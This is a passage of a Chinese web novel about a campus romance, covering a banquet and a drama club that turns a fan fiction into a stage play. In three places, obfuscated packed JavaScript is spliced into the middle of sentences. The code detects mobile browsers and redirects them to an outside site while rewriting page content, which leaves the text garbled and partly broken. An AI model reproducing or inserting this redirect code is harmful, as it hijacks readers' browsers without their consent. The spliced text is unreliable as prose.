“……”就很服气。 吃完夜宵,已经凌晨了,几人又麻溜爬上床。 夜色渐浓,酒精侵袭大脑。 岑柏意猜到,是宁启洄见他情绪低落,故意来这一出哄他开心。 明明他才是受伤的那个,明明他年纪最小最该被照顾…… 岑柏意叹气,拉上被子睡了。 —— 第二天一大早,宿舍几人被闹钟吵醒,酒精麻痹大脑带来的后遗症着实恐怖,宁启洄晕晕乎乎拎着书包往教室去。 日子就这样过了一天又一天,转眼到了十一月。 化学系新生也开始了惨无人道的实验晚课,宁启洄忙得晕头转向,如果不是被冯兹毫堵在宿舍楼下找他,他都不记得之前约过一个宴会要参加。 林枫晚被江千陵拖走吃夜宵去了,宁启洄身边跟着岑柏意,他的存在感实在太强,冯兹毫觉得哪里不对劲,但又说不出来。 他只是很热切地看着宁启洄,“小洄,到时候我家司机来接我们。” 时间就是这周日晚上,宁启洄想了想,自己没什么事情,而且早就被三文鱼迷了心智应下来的,就说好。 冯兹毫挠挠头,眼神火热看向宁启洄,“小洄,除了三文鱼你还喜欢吃什么,我让家里准备。” 宁启洄闻言,笑了一下,“宴会又不是平常请吃饭,不用搞特殊。” 冯兹毫的表情变得有些着急了,“私人性质举办的宴会,没事的,邀请你来……你们来,肯定是想让你们玩得开心啊,你尽管说,没事的。” 说完,想了想,补充道:“我朋友都是一样的,他们我也是这么问。” 这个“他们”,自然是指他的其他朋友了。 宁启洄还是笑着摇头,说不用了。 冯兹毫只得作罢。 两人都没注意到,岑柏意眸子变得有些深沉,看了冯兹毫好几眼。 岑柏意:呵,一样个屁。 冯兹毫对宁启洄的心思都写在脸上了,简直是司马昭之心路人皆知,也就宁启洄是个天生钝感力十足的小憨批看不出来。 岑柏意面无表情磨了磨后槽牙,那天晚上想的什么知道也好不知道也好的,都是鬼扯,他没办法想象宁启洄和别人在一起的画面。 得计划一下了…… 岑柏意在心里酝酿着,准备搞波大的。 这边,两人的交谈已经终止了。 冯兹毫还想说点什么,但邀请已经邀完了,他们又不是一个专业的,没什么话题可说。 不知道是不是他的错觉,杵着装守护神的高冷学神有意无意瞥了他几眼,眼神很是不满。 再看去,又一切如常,仿佛什么都没有发生过一般。 冯兹毫挠挠头,难道真是他看错了? 也是,他和岑柏意完全没交集,人家莫名其妙瞪他做什么,之前宁启洄也说了,他们并不是情侣关系,学神也没有立场敌视他。 想到这里,冯兹毫释怀一笑,冲两人点点头,离开了。 39. 试探 时间到了周日晚上,宁启洄穿了件比较休闲的正装去了。 出发前,看了眼打印出来贴在墙上的课表,心里一默:造了什么孽,每次都周天晚上造作,周一夺命上早八。 随手抓了把头发,几人再次往校门口去。 精血男人宴会趴,action! 冯家作为A市新贵,宴请本地有权有势的家族企业是免不了了,无论是出于笼络交好还是单纯释放善意的目的,这场宴会都注定了不平凡。 然而,冯兹毫并不是这么想的。 他给父亲打了个招呼,就径直去厨房端了几大盘三文鱼出来,生的熟的,煮的烤的煎的,都有。 宁启洄张大嘴巴,一旁的岑柏意贴心地伸手给他合上了。 咔,一声,下巴归位。 这边的宴会没有像宁启洄生日宴那样,单开一个小宴会厅,所以大家都是待在大厅角落的一片休闲区,不去掺和属于大人们的名利场。 是沙发不软不好坐,还是餐品不香不好吃? 端着好几个大盘子宛若杂耍的冯兹毫艰难靠近,搁下盘子,很热情地冲宁启洄招手,“” 在场各位都是二十来岁的学生,只要眼睛没瞎都能看出来,这位冯家的小少爷对这位特邀的同学感兴趣。 冯兹毫的朋友大多在京城,有几位专门飞来A市给他庆生,但大多数还是A大的同学朋友们,彼此都相互认识,除了310的四位精血男人。 风云人物,但又毫不相关。 没人知道冯兹毫是怎么认识岑柏意的。 也有人吃过贴吧的瓜,对两人的CP保持半信半疑的观望态度,此次两人一起来赴宴,自然引起了大家的注意。 “他们俩,该不会……真是那个吧?” “一定是了,都一起来吃席了。” “学神一直在看宁学弟!好甜~嗷嗷嗷——” “对啊对啊,正主都没在贴吧澄清过!” 要是冯兹毫知道他们心里是怎么想的,肯定会立马反驳。 他们两个是清白的!他们自己亲口承认的! 那边小声讨论着八卦,这边,宁启洄看了眼满满几大盘子的三文鱼,满眼震撼。 “这,这是……”他瞳孔震颤。 冯兹毫一瞬不瞬看着他,眼睛都不舍得眨一下,“你不是喜欢吃吗,专门给你拿的。” 宁启洄赞道:“好热情的表达方式。” “你喜欢就好。” 气氛尬住一瞬,岑柏意打破死寂,他淡定地插了几块煎三文鱼块,还贴心地摆了盘,递给宁启洄。 “吃吧。”岑柏意淡淡,随即又像是要强调什么似的,“特地给你拿的。” 宁启洄:“……”有一说一是,茶了点。 岑茶茶,哈哈哈哈哈。 宁启洄莫名被戳中笑点,掩下笑意叉鱼吃。 莫名被学的冯兹毫觉得哪里不对劲,但又说不出来哪里不对劲,只能放下疑虑,招呼其他人吃吃喝喝。 突然,另一小片扎堆玩乐的,大多是参加宴会带来的子女,凑在一起交谈。 而宁启洄只觉得其中有道声音异常耳熟,好像前不久才在另一场宴会上听到过。 他不动声色靠近了一些,耳朵竖起,听到了这样一番对话: “阿锦,你坐姿注意点,毕竟在外面。” 被叫做阿锦的女生语气满不在乎,“嗨呀,没事的,我穿了安全裤,两层!” 光从声音都能听出这人的大大咧咧。 宁启洄:“……”同样的场景,同样的安全裤。 似有所感,阿锦也扭头,正好对上他没来得及收回的视线。 林若锦:“……”真巧,有缘千里来相会。 林若锦眼神复杂:又没邀请我是吗? 宁启洄双手合十:下次一定。 林若锦哼哼两声:原谅你。 宁启洄做作比心:感恩。 林若锦:“……”宁哥是怎么了,半个月不见,弱了智了? 她和同伴说了几句,端着一大盘子蛋糕过来。 本就是宴会上临时凑在一起的,同伴也不介意她的离去,没过多久就找到了下一个伴。 宁启洄看见半个脑袋大的蛋糕,瞳孔地震。 在和江千陵拼“酒”的林枫晚见状,也放下手里的果汁,皱眉看去,“林若锦,家里没给你饭吃?” 宁启洄:“……”耳熟,真是耳熟,仿佛某位集团老总的耳提面命。 在和朋友说话的冯兹毫看到,过来打着圆场,“林小姐要是喜欢,等会从后厨打包一份给你带回去。” 林枫晚皱眉,又不是来吃席,连吃带拿是什么样子。 正愁没夜宵的宁启洄眼睛一亮,嘴快过脑子,“好!” 这周作业有点多,上周爬完山,宁启洄狠狠休息几天,导致作业都堆在了周末,又被突如其来(确实是忘记了)的宴会打乱,只能熬夜补。 熬夜,当然得有夜宵。 宁启洄应得自然,在座跟他关系好的也没觉得哪里不对劲,反正他的思维一直很跳脱,尤其是岑柏意,目光一直很纵容,似乎宁启洄现在说要吃老鼠他也不会觉得奇怪(?) 冯兹毫乐呵呵地点头,当即吩咐给宁启洄和林若锦包了一份蛋糕,又扭头问其他人需不需要。 其他跟宁启洄不熟的人:“……”还、还真是人不可貌相啊。 林枫晚:……阿宁要吃,那就,那就吃吧。 今天主要是喊人来吃席,一行人都窝在一角,也没玩游戏,就纯聊天。 聊着聊着,居然真聊到八卦上: “哎,你们知道吗,有个研二的男的劈腿,还劈仨。” “我知道我知道,昨天闺蜜跟我讲了,说这男的是个吃软饭的,靠正牌女友养着,名牌鞋大牌包说送就送,吃饭开房也不给钱,抠得要死!” “听说是正宫娘娘身体不太好,这男的跟导师到处跑精力旺,四个省四个女朋友,听说还跑去开房。” “看过照片,正宫娘娘和第一位劈腿的女友好看得要死,这狗男的瞎了眼,也不知道图什么。” “按照A大男女比例,我应该是有0.7个女朋友的,这货一个人有四个?我请问呢?” “我靠,后续呢?这没受罚我不平衡!” “被正宫娘娘捉奸在床,准确的说,都以为自己是正宫娘娘,四个女的截了聊天记录一起在表白墙和论坛曝光他。” 提到聊天记录,众人的视线有意无意落在吃瓜正起劲的宁启洄身上。 “?”继续啊,看他做什么。 “这哥们肾挺好。”大概是读出宁启洄眼里的催促之意,有人干巴巴接了一句。 “哦对了,听说元旦大剧场有晚会,你们拿到票了吗?” 宁启洄竖起耳朵吃瓜,听得津津有味,嘴里也吃着岑柏意叉过来的切块无籽西瓜,两人一个喂一个吃,整个流程自然得很,都没觉得哪里不对。 林枫晚神色复杂,和江千陵咬耳朵。 他觉得,他家阿宁这活脱脱就是只温水锅里的青蛙,被煮熟了都不知道。 除了其余旁观者,林若锦单手握住他哥的手臂,在来自他对象淡淡的眼神扫视之后,把手挪到了他的衣角,无声尖叫:啊啊啊啊—— 人在粮在,这就是行走的新粮产出机! 青蛙本蛙还在一口一口吃瓜,突然注意到周围过于安静了,连耳朵里的瓜都清净了,他抬头,环顾四周。 “?” 怎么了这是? 岑柏意唇角微微勾起,晃晃了手里的切块西瓜,“还吃吗?” “嗷,吃。”耳朵里瓜没了,西瓜还是得吃的。 江千陵收到来自黑心资本家岑老板的眼神,顶着尴尬气氛继续讲八卦,完全没考虑已经冷掉的场子。 林枫晚神色复杂,在他知道岑柏意的心意以后,回顾从前的种种,只觉得江千陵真是辛苦了。 ——配得上最佳僚机的称号! 此时,在卧室关着灯制造睡觉假象实则偷摸玩平板的岑念打了个喷嚏,他揉揉鼻子,嘟囔道:“谁在念叨我?” 平板顶部弹出一条消息: 【南风雪儿】:[追妻手册2.0].ppt< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见父亲不反对,冯兹毫备受鼓舞,“爸,我一定会努力的,让你早日抱上孙,呃……看到儿媳,呃,看到我对象!” 表情振奋,像个憨批。 冯父:“……”儿不儿媳的放一边,你先别努力。 —— 几人又被一车送回来,时间不算晚,没喝酒没玩游戏,到宿舍了也才十点多。 宁启洄提溜着大蛋糕往寝室走,晃晃悠悠的。 回了寝室,他洗把脸,让自己清醒清醒。 几人都准备熬个夜,化学系的两位是纯纯作业没写完,计院的两位是陪家属熬,当然,有一位还没转正。 写完作业,已经三点多了,宁启洄耷拉着眼去刷牙,然后麻溜爬上床睡觉。 睡觉前,照例打开手机看了眼时间,就收到了一条微信消息的弹窗,是岑柏意发的。 有什么是不能直接说的,搞这么见外。 宁启洄瞅了眼头顶的床帘,眯起眼看手机。 【cby】:冯兹毫喜欢你,你知道吗? “?!!!” 宁启洄大惊失色,这是怎么看出来的?! 他瞌睡一下清醒,戳开微信对话框,斟酌着语言。 【岁岁平安】:何以见得?(团子好奇.jpg) 和他仅隔了两层薄薄的床帘的岑柏意抿起唇,继续输入。 【cby】:很明显,他一直看着你。(团子低落.jpg) 岑柏意原本是不打算告诉宁启洄的,少个情敌正好,但一直这样下去,估计要宁启洄意识到他的心意,得猴年马月了。 上次在山顶赏月看星星试探了一下,这人慌得都不会说话了,扯什么夏目漱石。 他很明确知道宁启洄不喜欢冯兹毫,这也是他敢直接点名冯兹毫心意的原由——拿他试探一下,俗称,炮灰兵。 不得了,还会自己开发全新团子表情包了。 宁启洄盯着那个委屈缩在一起垂头看脚尖的大白团子,莫名代入岑柏意的形象,就很……可怜巴巴,还有种异样的反差萌。 他抿唇笑了笑,没由来生出一股亏欠的感情。 【岁岁平安】:很难评,那就祝他失败吧。(团子旋转.jpg) 40.本子 转眼间到了十二月,天气也渐渐冷起来。 元旦节有一出晚会,戏剧社每年都会参演。 在十一月份就发了通知,采取自愿报名策略,也可以拖家带口找些不是本社的编外人员参演。 但都十二月初了,依旧没多少人报名,于是,原本积极入社但消极参演的宁启洄迫于社长淫威,被抓壮丁拉去凑人头。 本子很简单,或者说,本子还没开始写。 原本说好的提前一两个月开始排练,都是屁话。 宁启洄找了个时间,拎着包去教室和戏剧社的社员们汇合。 一推门,看到大家在吃自热小火锅啃鸭脖的时候,宁启洄其实是有点想退社的。 他退出去,看了看门口。 1210. 没错,是申请的这个教室。 再次推门,几人还是维持着笑容,社长一手抓着鸭脖一边冲他招手,“来啊来啊,这家卤味我排可久了!” “……” 宁启洄表情复杂地把包放下,轻声,“我们的本子写了吗?” 社长嗔怪他,“说什么暧昧的话,我又不是学神,哪和你有本子啊学弟,咱们用的那叫剧本。” “……” “开了开了!”扎马尾辫的女生下了一叠金针菇进去,这会看着沸腾的自热锅,叫道。 “来点吗?”社长扭头看他。 香味飘散在教室里,勾人馋虫,宁启洄咽了咽口水,“来。” 来都来了。 几人边吃边聊,宁启洄也大概知道了戏剧社内部的情况,现在就是总共十个人,其中包括两个今年进社的。 对于这么少的人数,宁启洄有些诧异,但又在意料之中,毕竟纳新那天,社长可是亲自去别的纳新棚子拉人了。 就这样,也才拉来俩。 似乎看出宁启洄在想什么,社长啃了个鸭爪,小声解释道:“没办法,毕竟不是专业的,每年晚会比赛都有电影学院艺术学院参加,根本拿不到奖,然后就没经费,服装就破,然后就拿不到奖,然后就招不到人,然后继续没经费……” 听着像是陷入了一个死循环。 宁启洄想着,塑料小碗里就多出一颗牛肉丸,“快吃,这群牲口抢饭不留情面!” 社长蓝星星冲他眨眼,旁边的马尾辫女生嚷嚷说她偏心。 蓝星星讪笑着给她夹了片菜叶子,“她叫全灵,那是他哥哥全清,都是我们社的。” 说着,又悄悄用筷子指了指默默吸溜宽粉的长发男生,“那是副社温明弋,老凶老凶了,你记得和他打好关系,不然……” 话不说完,只是神秘一笑,卖了个关子。 宁启洄配合地作出惊恐状,“不然下次吃火锅不带我?!” “……”不至于,真不至于。 这位学弟的思维真是异于常人。 蓝星星呼呼吹两口热气,把丸子吃进肚,恶狠狠道:“会让你反复排练一个片段,反复,反复反复,反反复复,永无止境……” 她的语气故作阴森,宁启洄莫名想到一个表情包:我会永远视奸你,永永远远…… 一边吃宽粉的温明弋终于是忍不住了,抬头看过来,“蓝星星,你讲话没有那么小声。”他能听见! 蓝星星吐吐舌头,扭头去找全灵要豆芽吃。 把趁热吃的小火锅解决了,在场几人都是辣得嘴唇通红,鼻子冒汗。 全清对着空调风口散热,全灵和蓝星星在讲台上的空位乱扭,试图散热,生动形象地展现了什么叫金蛇狂舞。 只有宁启洄和温明弋,一个坐在前面,一个坐在后面,隔着整个教室的桌椅对视,目光沉默又绝望。 全社一共就十个人,加上宁启洄,来教室的也就五个,是来写剧本的。 宁启洄不知道,他一个凑数的过来做什么。 散完热,蓝星星终于想起正事来了。 她指挥男生们把几张桌子拼在一起,把教室里五个人都叫到一块,神色严肃地打开自己的电脑。 输入密码,解锁。 入目,一份尚未完成的文档出现在眼前,上面的文字非常生动吸睛,几下就能get到文段的重点。 没有情节,全是动作戏,发出去戏剧社身败名裂的那种。 主角还很熟悉,一个姓宁,一个姓岑。 蓝星星惊慌失措关掉文档,然后不小心来到了网页,熟悉的七百CP贴。 宁启洄:“……” 蓝星星:“……” 其他人:“……” 蓝星星挪到网页右上角的×那里,轻轻按下鼠标。 咔哒,网页关闭,壁纸是一个3D动漫美男的腹肌照,边上p了个伸舌头的黄豆表情包。 蓝星星:“……”人怎么可以,在一天之内,社死三次! 宁启洄表情复杂,原来他看过的那些黄暴同人文都是这位社长写的啊。 林若锦的同人文多少有点细腻的感情,社长的不一样,上来就是干,从开头干到结束。 至于是怎么认出来的呢,这一篇的上半章已经发出去了,宁启洄正好刷到看完,里面的名字和这部分完全重合。 更重要的是,其中仅剩的情节伏笔,在这里居然接得上! 经过宁启洄三个多月的同人文阅览经历,他发现七百CP同人贴里的文章,主角名字绝对不会重复,你叫宁七了,我就叫宁起,反正他没见过两篇主角名重合的。 注意到宁启洄过于幽深的眼神,蓝星星先发制人,“你是不是看过,不然怎么知道这是什么?!” 几人的视线又默默挪到宁启洄身上,眼里闪烁着来自猹的敏锐光芒。 宁启洄瞳孔震颤:好、好一招祸水东引! 宁启洄轻咳一声,“什么东西,你刚刚写的是什么?” 蓝星星盯了一会,摆摆手,语气故作轻松,“论文而已,你期末也要写的。” 宁启洄:“……” 其他人:“……” 哇,好学术的论文。 不欲与她继续争辩,也为了防止自己暴露,宁启洄转移话题,“本……剧本怎么写?” 蓝星星重开一个文档,眼睛不住在宁启洄身上扫视,像个女流氓一样。 “?” 她咳嗽两声,在键盘上敲击几个字。 开了护眼模式的绿色文档上缓缓出现几个大字——春湖柳声 哦,还带了俩书名号,严谨。 看着熟悉的几个字,宁启洄深觉大事不妙。 很不妙的那种。 蓝星星缓缓开口,“近来寻得一绝世佳作,吾认为甚好,故——” “说人话。”温明弋啃着鸭架,瞥了眼蓝星星。 蓝星星:“……”好气哦,到底他是社长我是社长。 “前几天在网上看到一篇很好的文章,我觉得改改可以当做我们的剧本。” “会不会侵权了社长。”全灵一脸复杂。 戏剧社是有些许落魄了,但不至于如此。 蓝星星:“我写的,行了吗。” 全灵:“……OK。” 蓝星星给大家讲了一下大概剧情,一个书生和一个富家小姐的爱情故事,贫穷书生被山匪打劫洗掠盘缠,富家小姐见他可怜便接济,收留他在家中做工,闲暇时间给他买书让他读书,然后就是中探花娶公主的故事,小姐跳水自杀,全剧终。 很老套的情节,宁启洄听得一脸复杂,这剧本真的能得奖吗,还不如原文精彩。 那篇同人文的内容和蓝星星刚刚说的剧情关系不是很大,脑洞也是创死人。 原文里的书生其实是山匪的大当家,看上了小姐要明抢,他给自己伪装了一个身份在小姐家混吃混喝,后面被发现了直接把小姐绑上山成了亲,洞房花烛夜发现小姐是女扮男装,大当家还是强行日了。 炸裂的地方来了,小姐受不了这个憋屈,跑下山投湖自尽,被才回来的二当家救起,扬言要帮他,相处几日,又把人带回山寨,遇见了本就好男色的三当家,以及老婆刚跑的大当家。 几人热热闹闹打了一架,山寨散了,大当家带着他跑了,对他是又爱又恨,说都是因为他才让他和山寨的弟兄们落得如此下场。 骂得越凶,日得越狠。 结局是,小姐眼睛都哭瞎了,山匪头子对他不离不弃,两人浪迹于江湖。 好,全剧终。 当时看完,宁启洄表情很是复杂,他很庆幸岑柏意是个脑子没毛病的正常人。 算了,演就演吧,起码这样也就不用担心会被人发现他来演自己的同人文里,也太羞耻了! 不过,既然这样,那蓝星星选这篇文章的目的在哪里……宁启洄眯起眸子。 “这是我设想的改编方向,大家有问题吗,没问题就把剧本发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020506|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你们了。”蓝星星在笔电上敲敲敲,键盘声噼里啪啦。 “有点老套了社长。”最先说话的是全灵,她擦擦嘴上的辣卤油,做了HelloKitty美甲的手指勾起,扒拉着手机,把搜出来的网页递给蓝星星看。 全清很理性的去搜全网视频,快速分析数据,“类似的舞台剧超过两百出,其中获奖节目只有五十多起。” 蓝星星:“……这说明,我们的创意符合大众思维。” 全清推了下眼睛,“据说隔壁戏剧社演《麦克白》,还有自发组织的《雷雨》,一台相声,两出小品,以及众多歌舞和诗朗诵。” 蓝星星小声逼逼,“节目单都没出来,你怎么知道的。” 全清没来得及说什么,温明弋就冷笑一声,“隔壁借教室一周排练三四次,我们呢?呵。” “……”伤害性不大,侮辱性极强。 蓝星星嗫嚅道:“那,那反正有诗朗诵垫底嘛,现在大学生哪有人喜欢看这个……” 全灵贴心补充(补刀):“诗朗诵是校领导要求加的。” 言外之意,有了至关重要的评委分,诗朗诵的分数不可能垫底。 蓝星星心如死灰,“那,那改改?” 温明弋依旧嘴毒,“有问题也来不及了,半个月赶工写不出好本子。” 拖延症爆发导致前两个月毫无进展、只是拉人并且没拉到的社长不敢吱声。 宁启洄没有发表任何意见,他只是一个过客——反正他是这么以为的。 社员们安安静静看本子,蓝星星把视线移向宁启洄,目光堪称和蔼。 “来都来了,不喊学神也参演一个?” 自以为是过客就一直神游天外的宁启洄:“……”原来是在这等着他呢。 见宁启洄没有表态,蓝星星继续努力争取,“放心,我们戏剧社觉得不搞排外那一套,来了就是一家人!” 宁启洄再度语塞,这是问题所在吗?! 蓝星星还在试图劝说,巴巴讲了一堆,完全没有注意到身侧人逐渐放空的表情 宁启洄:你的意思是,我不仅要和岑柏意一起看自己的同人文,还要一起演? 一股浓浓的窒息感扑面而来,快要把他这条同人文里遨游的鱼给溺死。 在他拒绝的话说出来之前,蓝星星赶忙说:“拿奖了就有钱,到时候你们俩分一半,怎么样?” 贫穷的宁大少爷:“……”可耻地心动了。 蓝星星继续诱惑:“一等奖五千。” “……!!”分一半再一半,1250,够吃好多顿麻辣烫了! 如果是这样的话,那也不是不能考虑。 “但是这篇两个男生,会不会不太好?”最终打分不只是学校的同学,老师和校领导当评委的分也很重要,都是三四十岁往上的,不一定能接受这些思想。 蓝星星眼睛一眯,“哈哈,我就知道你看过了!” 宁启洄:“……”大意了。 他紧张地往周围看了看,发现其他三人并没有听到他们在说什么,只是在研究蓝星星发过来的本子。 他强行找补,“我是刚刚看你发的——” 蓝星星:“显示你还没接收呢亲~” 宁启洄:“……”剧本是通过企鹅号私发的,确实能看见他接没接收。 蓝星星:“而且我发出来的版本已经改编完了,是一男一女,富家小姐和穷书生的爱情故事。” “……”造孽啊。 蓝星星得意地笑。 宁启洄突然想到一个问题,“……你们谁演富家小姐?” 社团里女生片多,要演富家小姐肯定是从他们几个里面选。 他微微皱眉,不知道为何,他下意识不想让别人和岑柏意演,特别是这种亲密爱情戏。 蓝星星摇头,“你俩的本子改的,肯定你们演主角啊。” 宁启洄面无表情,“你的意思是,让一米九几的岑柏意去演娇弱富家小姐?” 不合适吧,哪有这么高的小姐,书生得挂面条似的赖他身上。 而且衣服也买不到合适的,宁启洄很合时宜地想起那次剧本杀嫁衣经历,不得不说,岑柏意穿婚袍还挺好看的…… 不对,好像上当了。 那次穿女式婚服的是他,不是岑柏意。 宁启洄猛地看去,蓝星星还是笑,他突然有种不太好的预感。 41.改编 山海七栋310寝室里,身形单薄的男生伏在二号桌上,侧头冲桌前的高大男生讨好地笑了笑。 “岑老板,你要不要来我们戏剧社友情客串?” 岑柏意眉头一挑,“我?” 宁启洄咬牙点头,“对,你演一个非常努力积极最终走向人生巅峰的伟光正形象。” 说着,把蓝星星改编过的故事稍加修饰一番给他讲了一遍。 “哦?”岑柏意停下敲键盘的手,眉目含笑,“那谁演小姐?” 宁启洄:“……”很不想承认,但确实是我。 对上宁启洄失去表情的脸,岑柏意肯定了自己的猜测,他掩去眼里的笑意。 宁启洄顶着他灼热的视线,耳朵越来越红,在忍不住要收回邀请之前,岑柏意应了下来,“可以,我和你一起演。” 宁启洄:“……”谢谢你,不用再提醒我这个痛苦的事实了。 他把蓝星星改编后的文档传给了岑柏意。 [春湖柳声(改编版).docx] 岑柏意手一顿,面色如常,淡定地戳开文件,也没问是在哪一个原版的基础上改编的。 接收,打开。 岑柏意越看表情越严肃,半晌,他语气凝重,“你们这剧本是……” 他斟酌着用语,“花了一天时间有吗?” 宁启洄:“……几分钟吧。”如果不算创作那篇同人文以及改编的时间的话,决定得极为仓促。 当然,关于同人文什么的,宁启洄是绝对不会让岑柏意知道的,这也是他和蓝星星达成的交易之一。 如果让岑柏意知道他偷摸看他们的同人文,而且还亲自演,亲自演就算了,还拉着另一位男主角一起,那就真的完蛋了。 造孽啊! 听了宁启洄的话,岑柏意表情一穆,“失敬了。” “……客气了。”宁启洄替蓝星星受下了这句敬意。 在确定岑柏意要参演之后,宁启洄把他拉进了这次跨年晚会彩排小组,群里暂时才五个人,加上刚进来的岑柏意,有六个。 手机震动一下,岑柏意看见消息: “岁宝”邀请你加入群聊【书生小姐CP和他们的气氛组】 岑柏意企鹅号上也加了宁启洄,备注也改了。 群名不知道什么时候换了,似乎就等着岑柏意的加入。 岑柏意挑眉,看向宁启洄。 宁启洄装死。 好死不死,原本在讨论八卦的群里突然开始了热烈地欢迎仪式。 整整齐齐,令人窒息。 【蓝星星】:欢迎探花郎! 【全灵】:欢迎探花郎!(携我手机没电的哥哥一起欢迎~)(全清微笑.jpg) 宁启洄:不得了,这妹妹居然用哥哥的照片做表情包! 【温明弋】:欢迎。 【蓝星星】:温明弋注意保持队形!@温明弋 “挺热闹的。”岑柏意看着群里飞速滑过的表情包,点评道。 “……谬赞了。” 岑柏意把自己的群昵称改了,抬手在群里敲字。 【岑柏意】:剧本已经定好了吗,可以再改改吗? 【蓝星星】:当然可以!学神请吩咐! 蓝星星已经大四了,自然不能叫岑柏意学长。 宁启洄不欲看她过于狗腿的嘴脸,别过眼去打游戏。 【岑柏意】:叫我名字就行,如果方便的话我来改,三天改完可以吗。 【蓝星星】:当然当然!特别方便! 【温明弋】:当然方便,排练都还没开始。 【蓝星星】:这样损坏我们戏剧社的名声是对你有什么好处吗副社长同学?(重拳出击.jpg) 【温明弋】:想多了,只有你的名誉受损。 当然,蓝星星还是多少有点社长精神的,顾忌着岑柏意可能没写过剧本,他和岑柏意探讨了一下具体的内容。 当然,是通过传话的形式。 【蓝星星】:学弟啊,你给岑柏意说说,这里的剧情得…… 一长段话发过来,看得宁启洄心噎。 宁启洄依言转述给岑柏意,至于为什么不直接转发给他呢,因为蓝星星有些过渡的修饰语提到了同人文,他得润色一下。 绝对不能被发现。 来来回回几次,宁启洄疲惫不堪,问她为什么不直接私聊。 【蓝星星】:不了不了,我不配玷污你们俩的二人世界。 …… 岑柏意很快列出一份大纲,完整的故事梗概,精彩曲折,比之前的老套剧情更吸引人,蓝星星交代了几句,就很放心地让他去大展身手了。 当然,宁启洄觉得,原版的山匪抢亲也不错,但,绝对不能出现在大众视野里! 他强烈建议岑柏意把剧名也改了。 岑柏意有些奇怪,“为什么,这挺好的。” 宁启洄藏在发丝里的耳尖一红,“不够吸睛。” 于是,新版剧名诞生了:《被山匪抢劫后,我成了落魄公主的赘婿》 炸裂且吸睛,完全符合要求。 至于过不过审,那另说。 这边在努力完善剧情,没人知道蓝星星切了微信小号,正一脸激动地给好基友敲键盘。 【海蓝星】:啊啊啊啊!姐妹!(屁屁贴贴.jpg) 【看花人】:啊啊啊啊!姐妹!(屁屁贴贴.jpg) 宛若小型精神病人会晤名场面。 【海蓝星】:就在刚才,学神亲自下场改剧本了!虐文本给改成大甜文!而且看大纲,得有不少感情戏! 【看花人】:我靠! 【海蓝星】:我靠! 【海蓝星】:姐妹这好素材你加同人文里吧,我写容易暴露。 【看花人】:我就不会暴露了? 【海蓝星】:……那就先潜伏一阵? 【看花人】:ojbk。 岑柏意改文改了很久,似乎是很上心,连写了一半的作业都搁在一旁没动了。 宁启洄:“要不先休息休息?” 指,从文字创作到完成作业这种脑力活动转变的休息。 岑柏意瞥了眼桌上摊开的书,道:“没事,这是下下周的作业,我提前写了。” 宁启洄:“……”打扰了学神。 他晃悠着去食堂买冰激凌,回去的路上正巧遇到林若锦。 林若锦原本要问戏剧的事情,突然瞥见什么东西,眼睛就一直盯着他的手腕,似乎要把他给看穿。 宁启洄挥起手,在他眼前舞了舞,“傻了?” 林若锦张了张嘴,欲言又止。 “不说我走了。”宁启洄捧着冰激凌,脚尖转向就要离开。 “哎别别别!”林若锦连忙拉住宁启洄,把他按在路边花园小径里的长椅上。 “别走别走。”林若锦想要摸摸宁启洄手腕上的手串,却被后者一下躲过去,她嘟囔道,“真小气。” “……有话就说。” “这是岑学长给你的?”林若锦做了做心理准备,问道。 宁启洄点头说是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027746|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她缓缓道:“我之前去颐安寺,遇见岑学长了,他去求了菩提珠,我猜也是要给你……我正好看见了,一共是两颗,但……” 宁启洄:你怎么知道是给我的? 林若锦挤挤眼:这不明显吗,肯定的啊。 谜语人林某上线,宁启洄表示不懂。 宁启洄的关注点歪了,他看了眼林若锦,问道:“你去庙里做什么?” 林若锦:“……”这是重点吗?! 她深吸一口气,吐出心里的郁气,“之前把我哥的茶具打烂了不是,重新买了一套去开光。” “……” 宁启洄想起来了,是那套他们旅游结束累死累活扛回来,然后转头就被倒霉妹妹失手打烂的茶具。 林若锦继续说:“两颗诶,但宁哥你手腕上就一颗,另一颗该不会……” 宁启洄以为她又要说什么“CP破裂”的话,虽然想到另一颗在别人手里,他心里也莫名不爽,但他还是等着林若锦的下文。 “该不会做成脚链绑你脚踝上了吧。”林若锦瞥了眼宁启洄被裤脚遮住的脚踝,贼兮兮笑了一下,眼里闪过大量同人素材。 宁启洄:“……”他就知道,这货没憋什么好屁。 “没有。”但他还是镇定道。 林若锦的失落几乎要溢出来,满脸都写着“到手的新粮跑了”。 没问出什么结果,林若锦叹气,拍拍宁启洄的肩膀,“如果你知道另一颗在哪里,记得告诉我啊宁哥。” 她准备,等两颗菩提珠的下落都出来了,再写进同人文里,啊哈哈哈嚯嚯嚯~ 专门写七百CP的看花人账号已经几千粉了,都是CP贴里的猹,林若锦美滋滋,觉得自己还是蛮有石砾的耶。 不过,小马甲得捂紧,被宁哥发现就完蛋了! 林若锦瞅了眼宁启洄离开的背影,做贼心虚地朝相反方向离开了。 等宁启洄回到寝室,310依旧只有他们俩,小情侣早就不知道跑哪里去了。 估计是约会。 